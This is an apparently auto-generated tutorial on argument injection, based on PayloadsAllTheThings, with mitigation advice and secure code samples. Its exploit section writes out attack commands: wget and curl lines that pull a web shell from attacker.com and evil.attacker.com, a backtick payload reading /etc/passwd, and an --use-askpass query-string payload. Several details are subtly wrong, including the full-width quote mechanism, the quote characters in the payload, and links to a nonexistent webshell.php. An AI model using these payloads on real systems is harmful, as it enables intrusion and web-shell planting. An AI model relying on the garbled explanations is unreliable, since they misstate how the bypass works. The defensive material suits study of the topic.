# Exploiting Argument Injection in Command Execution: Techniques from PayloadsAllTheThings

> Learn to exploit argument injection for command execution. Discover techniques bypassing sanitization using Unicode and shell variable abuse from PayloadsAllTheThings. Prevent command injection vulnerabilities now.

- Repository: [Swissky/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
- Tags: tutorial
- Published: 2026-03-01

---

**Argument injection allows attackers to execute arbitrary commands by manipulating individual command-line arguments rather than the full command string, bypassing sanitization functions like `escapeshellarg()` through Unicode manipulation and shell variable abuse.**

The swisskyrepo/PayloadsAllTheThings repository documents practical methods for exploiting argument injection vulnerabilities, demonstrating how attackers abuse Unicode full-width characters and Internal Field Separator (IFS) variables to defeat security controls. Understanding these techniques is essential for developers securing applications that execute shell commands with user-supplied input.

## What Is Argument Injection?

**Argument injection** is a subset of command injection where the attacker controls individual arguments passed to a program rather than injecting a complete command string. When vulnerable code concatenates untrusted data into a command line without proper quoting or escaping, malicious arguments—such as extra flags, file redirects, or sub-commands—can alter program behavior arbitrarily.

According to the PayloadsAllTheThings source code, this vulnerability class exploits the assumption that a single input maps to a single argument. As implemented in `Command Injection/README.md#L122`, attackers use the **worstfit** technique with Unicode full-width characters to break out of quoted contexts while the sanitization function still treats the input as a single argument.

## Why Argument Injection Bypasses Traditional Defenses

Traditional sanitization methods often fail against argument injection because they focus on blocking command separators while ignoring argument-level manipulation.

### Defeating escapeshellarg()

PHP's `escapeshellarg()` function is commonly defeated by **full-width quoting** techniques. The repository demonstrates that Unicode full-width double quotes (`U+FF02`) can close intended quote strings while the parser still sees valid delimiters, allowing injection of additional flags.

### IFS-Based Space Bypasses

The **Internal Field Separator** (`IFS`) variable allows injection of whitespace without literal space characters. By using `${IFS}` syntax, attackers can separate arguments in contexts where space characters are filtered, effectively bypassing naive input validation.

## Common Attack Patterns

The PayloadsAllTheThings repository identifies several high-impact argument injection vectors:

- **Full-width quote injection**: Exploiting Unicode full-width double quotes to break out of quoted arguments while `escapeshellarg()` treats them as part of the string.

- **File redirection abuse**: Supplying output flags like `-o` or `>` to write attacker-controlled data to arbitrary files, such as injecting `-o webshell.php` into a `curl` command to plant a PHP web shell.

- **Command substitution via backticks**: Inserting backtick-wrapped commands (`` `command` ``) or `$(...)` syntax causes the shell to execute embedded commands and substitute their output, enabling data exfiltration.

## Practical Exploit Examples

The following examples demonstrate real-world argument injection scenarios documented in the repository.

### Full-Width Quote Bypass in PHP

Consider vulnerable code that concatenates user input into a wget command:

```php
<?php
// Vulnerable code from PayloadsAllTheThings examples
$url = "https://example.tld/" . $_GET['path'] . ".txt";
system("wget.exe -q " . escapeshellarg($url));
?>

```

**Attack Payload:**

```

GET /vuln.php?path=“%20--use-askpass=calc%20”

```

The payload uses full-width double quotes (`U+FF02`) to break out of the quoted argument. While `escapeshellarg()` treats the entire string as a single argument, the shell interprets the full-width quotes as string delimiters, causing `--use-askpass=calc` to be processed as a separate flag.

### IFS-Based Space Bypass

In shell contexts where spaces are restricted, the `${IFS}` variable expands to a space character at runtime:

```bash

# Vulnerable wrapper

wget -q $url

```

**Attack Command:**

```bash
wget${IFS}http://attacker.com/shell.php${IFS}-O${IFS}webshell.php

```

This injects three separate arguments (`http://attacker.com/shell.php`, `-O`, and [`webshell.php`](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/main/webshell.php)) without using literal space characters, causing wget to save the downloaded payload as a web-accessible file.

### cURL File Write via Redirection

```powershell
curl http://evil.attacker.com/ -o webshell.php

```

By injecting the `-o` flag followed by a filename, attackers direct `curl` to write the HTTP response body to [`webshell.php`](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/main/webshell.php), effectively delivering a web shell without command execution.

### Backticks for Data Exfiltration

```bash
original_cmd_by_server `cat /etc/passwd`

```

When injected as an argument, backticks trigger command substitution, embedding the contents of `/etc/passwd` into the original command and leaking sensitive credentials to the attacker.

## Mitigation Strategies

Effective defense against argument injection requires eliminating shell interpretation and strict input validation.

### Avoid Shell Invocation

Use language-specific APIs that execute commands directly without invoking a shell interpreter. In Python, use `subprocess.run()` with `shell=False`; in PHP, use `proc_open()` with array arguments rather than string concatenation.

### Strict Input Whitelisting

Accept only known-good argument values from an allow-list. Validate that user input matches expected patterns (e.g., alphanumeric filenames only) before passing to command execution functions.

### Unicode Normalization

Normalize input to NFC form and reject non-ASCII characters, particularly full-width punctuation marks (U+FF02, U+FF07) that can interfere with quoting mechanisms.

### Secure IFS Handling

In Bash scripts, explicitly set `IFS=$' \t\n'` before processing user data, or use arrays to store command arguments, preventing word splitting attacks:

```bash

# Safe approach using arrays

cmd=(wget -q "$user_input")
"${cmd[@]}"

```

## Secure Implementation Examples

### Python: Safe Subprocess Execution

```python
import subprocess

def download(url):
    # Validate URL schema strictly

    if not url.startswith(('http://', 'https://')):
        raise ValueError('Invalid URL scheme')
    
    # Execute without shell interpretation

    subprocess.run(['wget', '-q', url], check=True, shell=False)

# Usage

download('https://example.com/file.txt')

```

### PHP: Avoiding system() and escapeshellarg()

```php
<?php
$path = $_GET['path'] ?? '';

// Whitelist allowed filenames
$allowed = ['report1', 'report2', 'data'];
if (!in_array($path, $allowed, true)) {
    die('Invalid path specified');
}

// Use array syntax to avoid shell parsing
$cmd = ['wget', '-q', "https://example.tld/{$path}.txt"];
$process = proc_open($cmd, [], $pipes);
proc_close($process);
?>

```

### Bash: Array-Based Command Construction

```bash
#!/usr/bin/env bash

# Reset IFS to safe default

IFS=$' \t\n'

url="${1:?Error: Missing URL argument}"

# Use array to prevent word splitting

cmd=(wget -q "$url")
"${cmd[@]}"

```

## Summary

Argument injection exploits the boundary between single arguments and command execution by manipulating quoting, whitespace encoding, and redirection flags. Key defensive measures include:

- **Never concatenate user input into shell command strings**; use array-based argument passing and `shell=False` equivalents
- **Reject or normalize Unicode input**, specifically full-width quotes that bypass `escapeshellarg()` and similar functions
- **Disable shell interpretation** by using `proc_open()`, `subprocess.run()`, or equivalent APIs that accept argument arrays
- **Implement strict allow-lists** for any values passed as command arguments, permitting only known-good patterns
- **Handle `${IFS}` and whitespace** carefully in shell scripts by resetting IFS and using quoted array expansions

## Frequently Asked Questions

### How does argument injection differ from traditional command injection?

**Traditional command injection** typically exploits command separators (`;`, `&&`, `||`) to append arbitrary commands, while **argument injection** manipulates the arguments themselves to change program behavior. As documented in the PayloadsAllTheThings `Command Injection/README.md`, argument injection can succeed even when command separators are filtered, because the attacker injects flags, filenames, or substitution syntax rather than separate commands.

### Can escapeshellarg() prevent argument injection attacks?

No, `escapeshellarg()` alone cannot prevent argument injection. The PayloadsAllTheThings repository demonstrates that full-width Unicode quotes (`U+FF02`) can defeat this function by closing the intended quote context while the function still treats the input as a single argument. Additionally, `escapeshellarg()` does not protect against injection of flags (like `-o file`) or `${IFS}` whitespace bypasses.

### What is the `${IFS}` technique in argument injection?

`${IFS}` exploits the Internal Field Separator shell variable, which typically contains a space, tab, and newline. When referenced as `${IFS}` in a command line, it expands to these whitespace characters at runtime. Attackers use this to inject argument separators without using literal space characters, bypassing filters that check for spaces but ignore shell variable syntax.

### How can I safely execute commands with user-supplied filenames?

Use language-specific APIs that bypass shell interpretation entirely. In Python, pass arguments as lists to `subprocess.run()` with `shell=False`. In PHP, use `proc_open()` with array arguments rather than `system()` or `exec()`. Validate filenames against strict allow-lists permitting only alphanumeric characters, and avoid passing user input to interpreters that perform wildcard expansion or variable substitution.